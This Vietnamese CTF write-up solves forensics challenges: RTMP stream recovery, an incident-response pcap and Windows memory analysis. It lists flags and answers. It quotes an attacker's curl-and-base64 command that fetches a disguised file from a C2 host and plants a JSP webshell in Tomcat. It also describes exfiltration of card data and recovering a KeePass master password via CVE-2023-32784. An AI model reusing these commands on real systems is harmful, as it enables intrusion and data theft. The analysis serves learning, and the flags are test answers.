

Forensic
Streamer
I’m a local streamer, not tied to any major platform. You can see what I’m streaming here.
Author: @bachtam2001
Đầu tiên mở file bằng Wireshark để xem các conversation TCP
Trong danh sách TCP conversations mình thấy thấy một luồng đáng chú ý chạy trên địa chỉ local

Port 1935 là port mặc định thường dùng cho RTMP
Vì stream chạy qua 127.0.0.1 có thể hiểu đây là stream local, đúng với hint của đề bài
Trong Wireshark mình dùng display filter tcp.port == 1935

Khi xem packet detail, có thể thấy các command quen thuộc của RTMP như
1 | connect |
Điều này xác nhận traffic trong pcap là một phiên RTMP publish stream
Dùng strings để tìm nhanh các chuỗi ASCII trong file pcapng
1 | strings -a -n 4 stream.pcapng | grep -Ei "rtmp|connect|publish|FCPublish|onMetaData|obs|live" |

Các chuỗi này cho biết:
- Client đang connect tới RTMP server local tại
rtmp://127.0.0.1 - Client thực hiện publish stream
- Stream type là
live - Encoder là OBS/libobs
Điều này cho thấy người dùng đang stream từ OBS lên một RTMP server local
Trong phần RTMP command releaseStream, FCPublish, publish minhf có thể thấy stream name và stream key

Phần giữa là base64 và mình cần phải decode

Điều này tiếp tục xác nhận đây là một live stream key local
Tiếp đến mình trích xuất luồng RTMP
Sau đó mình cần phải cắt đi các đoạn RTMP handshake ở đầu
1 | dd if=c2s.raw of=rtmp.raw bs=1 skip=3073 status=none |
Xử lý file rtmp.raw với tool rtmp2flv để có file FLV hợp lệ

Sau khi parse RTMP và ghi lại FLV, thu được file rtmp.raw.1.flv
Để xem dễ xem hơn mình chuyển file FLV sang MP4 bằng ffmpeg

Sau đó mở file và lấy flag

Flag: HCMUS-CTF{444171_1_4m_a_4pPL3}
Intro2Pcap
Author: @jason
Part 2
1. What is the IP address of the threat actor?
Quan sát phiên trao đổi thì mình thấy có rất nhiều gói tin gửi từ máy nạn nhân tới IP 172.28.13.20 nên mình nghi ngờ đây chính là IP của attacker
Tiếp tục kiểm tra với port 8080 thì mình thấy IP này liên tục quét, khai thác và gọi powershell
Từ các thông tin trên mình có thể kết luận đây chính là IP của attacker
Answer 1: 172.28.13.20
2. How many ports were scanned by the attacker?
Vì đã có Ip của attacker rồi nên mình dễ dàng tìm được số port mà attacker đã quét

Answer 2: 100
3. What tool did the attacker use to perform fuzzing?
Tiếp đến đẻ tìm tool mà attacker dùng đẻ fuzzing mình sẽ quan sát hành động của attcaker đã làm những gì

Mình thấy attacker đã có nhiều request như
/docs//examples//uploads//sessions//backup//.env/actuator/env
Và khi Follow stream để xem chi tiết thì mình đã thấy đưuọc tool mà attacker sử dụng

Answer 3: ffuf
4. What is the C2 domain (domain:port)?
Để tìm C2 server trước tiên mình kiểm tra xem máy nạn nhân đã kết nối tới những server nào và mình tìm thấy các server phổ biến như
- Wikipedia
- ComputerHistory
- Google

Và trong đó còn có 1 server khá đáng ngờ tên là assets-acme-cdn.com:9001

Kiểm tra thì thấy có đoạn tải payload
Khi decode base64 thì mình nhận được đoạn code sau

Script này thu thập dữ liệu khách hàng từ customer_cards.sqlite sau đó mã hóa dữ liệu và tạo keystream sau đó gửi tới C2 server là http://assets-acme-cdn.com:9001/api/v1/telemetry
1 | python3 - <<'PY' |
Và còn có cả đoạn exfil

Vì thế có thể kết luận đây chính là C2 server mà attacker dùng để tải paylaod
Answer 4: assets-acme-cdn.com:9001
5. What is the command did the attacker make the victim to run?
Đầu tiên khi tìm kiếm các dấu hện của command được thực ti thì mình thấy attacker đã thực thi nhiều lệnh như
- pwd
- whoami
- find
- cat
- ls
- sh
- grep
- curl
Và các lệnh này được chạy thông qua
.crm-cache.jspnên có thể nói attacker đã cài webshel vào máy nạn nhân
Tiếp đến mình tìm cách thức webshell đã được cài vào máy nạn nhân như nào

File payload ở câu trên mình đã tìm chỉ là ở 1 thời gian ngẫu nhiên nên chưa thể xác định được command mà attacker ép nạn nhân chạy vì thế mình cần phải truy ngược về payload đầu tiên được tải xuống

Và khi Follow stream thì mình thấy có đoạn base64 giống payload trên nên mình sẽ tiến hành decode

Và lần này tiếp tục là 1 đoạn code

1 | <%@ page import="java.io.*" %> |
Tiếp đến khi đã có được tên file chứa payload nên mình tìm trực tiếp chuỗi trong pcap và tìm được command

Answer 5: bash -c {curl,-fsSL,http://assets-acme-cdn.com:9001/assets/crm-cache.crt,-o,/opt/acme-crm/runtime/.crm-cache.crt};{grep,-v,CERTIFICATE,/opt/acme-crm/runtime/.crm-cache.crt}|{base64,-d}>/usr/local/tomcat/webapps/ROOT/uploads/.crm-cache.jsp
6. What is the name of the first malicious file did the victim download to the system?
Vì đã tìm được command mà attacker ép nạn nhân chạy và cài payload nên mình có thể dễ dàng lấy được tên file độc hại

Answer 6: crm-cache.crt
7. What is the MITRE ATT&CK Technique of the technique that the attacker used to plant the webshell?
Attacker không ghi thẳng webshell .jsp lên server ngay từ đầu. Thay vào đó, họ tải một file ngụy trang là crm-cache.crt, xóa các dòng giả dạng certificate như BEGIN CERTIFICATE và END CERTIFICATE, rồi dùng base64 -d để giải mã nội dung thật thành file webshell /usr/local/tomcat/webapps/ROOT/uploads/.crm-cache.jsp
Và payload độc hại đã bị che giấu/obfuscate trong một file trông như certificate và phải qua bước decode thì mới trở thành webshell thực sự
Khi đã hiểu cơ chế của file độc hại của attacker mình tìm kiếm với các từ khóa trên MITRE | ATT&CK

Answer 7: T1140
8. Nonce (in hex)?
Trong phần đầu đoạn exfil có chứa cả nonce cần tìm

Answer 8: b7a31dc90e2445a8f0c11729
9. What is the MITRE ATT&CK ID technique that the attacker used to exfiltrate files from the victim?
Sau khi thu thập được file customer_cards.sqlite, attacker không gửi toàn bộ file trong một request duy nhất. Thay vào đó, malware chia dữ liệu thành nhiều phần nhỏ rồi gửi dần tới C2 qua endpoint /api/v1/telemetry

Vì vậy mình tìm kiếm với 2 từ khóa data Transfer và chunk

Answer 9: T1030
10. Finally, what CVE did the attacker utilize? (CVE-XXXX-XXXXX)?
Sau khi đã trả lời 9 câu hỏi mình đã có thể kết luận phương thức tấn công của attacker như sau
Trong PCAP xuất hiện request rất bất thường

Đây là dấu hiệu đáng nghi vì attacker không tương tác với một chức năng upload thông thường của ứng dụng, mà đang tác động trực tiếp vào khu vực lưu trữ session của server. Điều này cho thấy mục tiêu của attacker là lợi dụng cơ chế xử lý session của Tomcat để thực thi payload độc hại.
Khi tìm trong nội dung packet với các từ khóa như crm-cache.crt, base64 -d hoặc .crm-cache.jsp, có thể khôi phục lại command mà payload exploit đã khiến server thực thi. Command này tải một file ngụy trang từ C2, loại bỏ lớp che giấu, giải mã nội dung bên trong và ghi kết quả thành một file webshell JSP vào thư mục web root của Tomcat.
Ngay sau khi session độc hại được ghi lên server, attacker bắt đầu gửi các request như:

Điều này xác nhận rằng attacker đã thực thi mã từ xa thành công thông qua cơ chế xử lý session bị lợi dụng, đồng thời triển khai được webshell trên server.
Từ toàn bộ chuỗi hành vi này, có thể kết luận attacker đã khai thác lỗ hổng Apache Tomcat RCE thông qua xử lý session tương ứng với CVE-2025-24813
Answer 10: CVE-2025-24813
Sau khi trả lời xong 10 câu hỏi mình có được Part 2
Part 2: _and_st1ll_h4rdc0ded_k3ys_iz_w1ld}
Part 1
Để giải và lấy được Part 1 thì mình cần tìm data mà attacker đã gửi về C2 server và data đó chính là các gói tin bị cắt thành 64 phần

Và mình sẽ xuất ra và ghép các gói này lại lại sau đó tiến hành giải mã với key và nonce mà attacker dùng để mã hóa các gói tin
1 | import hashlib |
Kết quả là mình thu được file dữ liệu khách hàng ban đầu mà attacker đã lấy, kiểm tra thì thấy đây đúng là file sqlite chứa database khách hàng

Mở file kiểm tra nhưng file lại không mở được bằng GUI nên mình truy vấn trực tiếp bằng CLI, mình thấy trong database có 3 bảng và tại bảng payment_cards với user Jason Ho mình tìm được phần đầu của flag

Part 1: HCMUS-CTF{vib3_hacking_in_big_2026_
Flag: HCMUS-CTF{vib3_hacking_in_big_2026__and_st1ll_h4rdc0ded_k3ys_iz_w1ld}
Memeory
When was the last time you touch volatility? 4-part flag
Author: @obiwan
Part 1
Đầu tiên mình kiểm tra info của file raw memory

kiểm tra danh sách tiến trình thì thấy có các tiến trình có khả năng giấu flag

Tiến hành kiểm tra lệnh cmd đã thực thi thì mình tìm thấy file tên flag2.png và 1 file bí mật kdbx là darkest_secret.kdbx

Sau khi đã có mục tiêu mình kiểm tra danh sách file để tìm flag2.png thì mình bất ngờ tìm được file chứa part 1 là flag1.txt

Vì vậy mình triến hành dump file và đọc flag1.txt

Part 1: HCMUS-CTF{d0nt_m1nd_me_j
Part 2
Tiếp đến mình dump file flag2.png

Sau khi đổi extension thành png để xem ảnh thì mình nhận được ảnh “trông có vẻ là 1 hộp khô gà của ộ i i”

Kiểm tra với pngcheck thì thấy có data thừa sau IEND

Và lúc nãy khi kiểm cmdline thì mình thấy ảnh đang được mở bằng MSPaint nên có thể sẽ có liên quan gì đó với ảnh này nên mình tiến hành dump pid của mspaint ra
1 | vol -f DESKTOP-1LI6VC6-20260522-105906.raw -o . windows.memmap.Memmap --pid 7472 --dump |

MSPaint thường giữ bitmap trong memory theo format raw pixel. Trên Windows các surface hay nằm ở dạng BGR, BGRX, BGRA, và có thể lưu theo chiều bottom-up
Mình dùng chínhflag2.png làm sample để encode vài đoạn thành BGR/BGRX/BGRA rồi tìm trong trong pid.7472.dmp
1 | from PIL import Image |

Sau khi có được các candidate cần thiết và mình đã có w=1980 và h=1080 mình sẽ đọc raw pixel tù các offset trên và render tụi nó thành ảnh png
1 | from pathlib import Path |
Sau khi chạy script mình vào thư mục mspaint và xem cá ảnh đã đưuọc render trong đó có chứa ảnh chứa đoạn flag bị xóa

Part 2: ust_doing_rando
Part 3
Trong phần kiểm tra danh sách tiến trình ban đầu có process mstsc.exe với PID là 6136 mà mstsc.exe là Microsoft Remote Desktop Client ngoài ra có file Default.rdp ở phần danh sách file đều này cho thấy máy này từng hoặc đang mở phiên RDP tới một máy khác
Mình tiến hành dump các VAD có kích thước dưới 10MB
1 | vol -f DESKTOP-1LI6VC6-20260522-105906.raw -o rdp_vad windows.vadinfo.VadInfo --pid 6136 --dump --maxsize 10000000 |

Sau đấy tiếp lục lọc ra các gói lớn hơn 5MB

Sau khi tìm kiếm và brute force thì mình đã có được thông số chi tiết
1 | VAD: rdp_vads/pid.6136.vad.0x29ad8310000-0x29ad88f6fff.dmp |
Sau khi đã có đầy đủ mình tiến hành render frrame flag 3
1 | from pathlib import Path |
Kết quả là mình có được ảnh chụp màng hình canva có chứa flag

Part 3: m_stuff_on_window_4n
Part 4
Vậy là chỉ còn lại KeePass vì vậy mình cần kiểm tra offset và dump file ra

Nhưng file dump ra lại bị lỗi

Vì vậy mình dump PID của KeePass
Sau đấy mình kiểm tra header của file kdbx đã dump trước đó
Dùng header đó để tìm offset của kdbx trong file dump PID

Do có tận 3 header được tìm thấy nên mình sẽ cắt từng đoạn trước
- 6314928 - 6310808 = 4120
- 6405424 - 6314928 = 90496
Nhưng mình thấy đoạn 6314928 - 6310808 có vẻ hợp với kích thước file kdbx hơn vì đoạn kia hơi quá nặng
1 | dd if=pid.2964.dmp of=kdbx/darkest_6314928_90496.kdbx bs=1M iflag=skip_bytes,count_bytes skip=6314928 count=90496 status=none |
Sau khi cắt mình đã có file darkest_secrets.kdbx hoàn chỉnh mình mở lên để kiểm tra thì thấy yêu cầu phải có mật khẩu mà KeePass từng có lỗ hổng CVE-2023-32784. Ý tưởng chính là khi người dùng nhập master password KeePass có thể để lại trong memory các chuỗi Unicode dạng:
1 | ●●●x |
Mỗi chuỗi dạng này làm lộ một ký tự tại một vị trí của password. Khi quét memory và gom các ký tự này lại, có thể khôi phục master password
1 | from pathlib import Path |

Để chắc hơn thì mình in các chuỗi này ra và kiểm tra thì thấy có các đoạn ký tự không bị che ghép lại được chuỗi
1 | aww _ geez |
Điều này đã chứng mình giải thuyết bài này có dạng lỗ hỏng CVE-2023-32784 là đúng

Tiếp theo mình lấy các quét chuỗi UTF-16LE quanh ký tự ● trong toàn bộ file PID đã dump
1 | from pathlib import Path |
Kết quả là mình đã thu được flag

Dùng mật khẩu để mở file kdbx thì mình thấy có 2 username 1 cái là của CTF 1 cái là của “ộ i i”

Khi xem pass của user part4 thì mình tìm đưuọc phần flag còn lại

Part 4: d_call_it_a_challenge_to_meet_kpi}
Flag: HCMUS-CTF{d0nt_m1nd_me_just_doing_random_stuff_on_window_4nd_call_it_a_challenge_to_meet_kpi}
Crypto
EasyCurve
Veryy easy
Author: @nesfan
Flag: HCMUS-CTF{v3lus_f0rmul4_m4k3s_1s0g3n13s_1nst4nt}
Crypto101
777 too much? nope slop too much? yea
Author: @noah
Flag:
HCMUS-CTF{tH3_L4tT1cE_w4$_r3dUc3D_bY_LLL_th3n_BKZ_b3t4_40_$H0rT_v3cT0r$_p4D1c_f0Rm4L_Gr0Up_L0G$_h3n$3L_L1fT$_m0d_p4_t0_p3_t0_p$_r3c0v3r_th3_k3y_fr0m_bYt3_c0mb0$_n0_m0r3_h0m3Br3W_CrYpT0$}
Rust In Peace
It’s truly sad if you’re burning tokens to solve such a fun little challenge.
Author: @noah
Funny Helicopter Morphology - 1
Can you guess the name? Note: Remove hex characters at the end, e.g HCMUS-CTF{flag-here-ab103} -> HCMUS-CTF{flag-here}
Author: @nesfan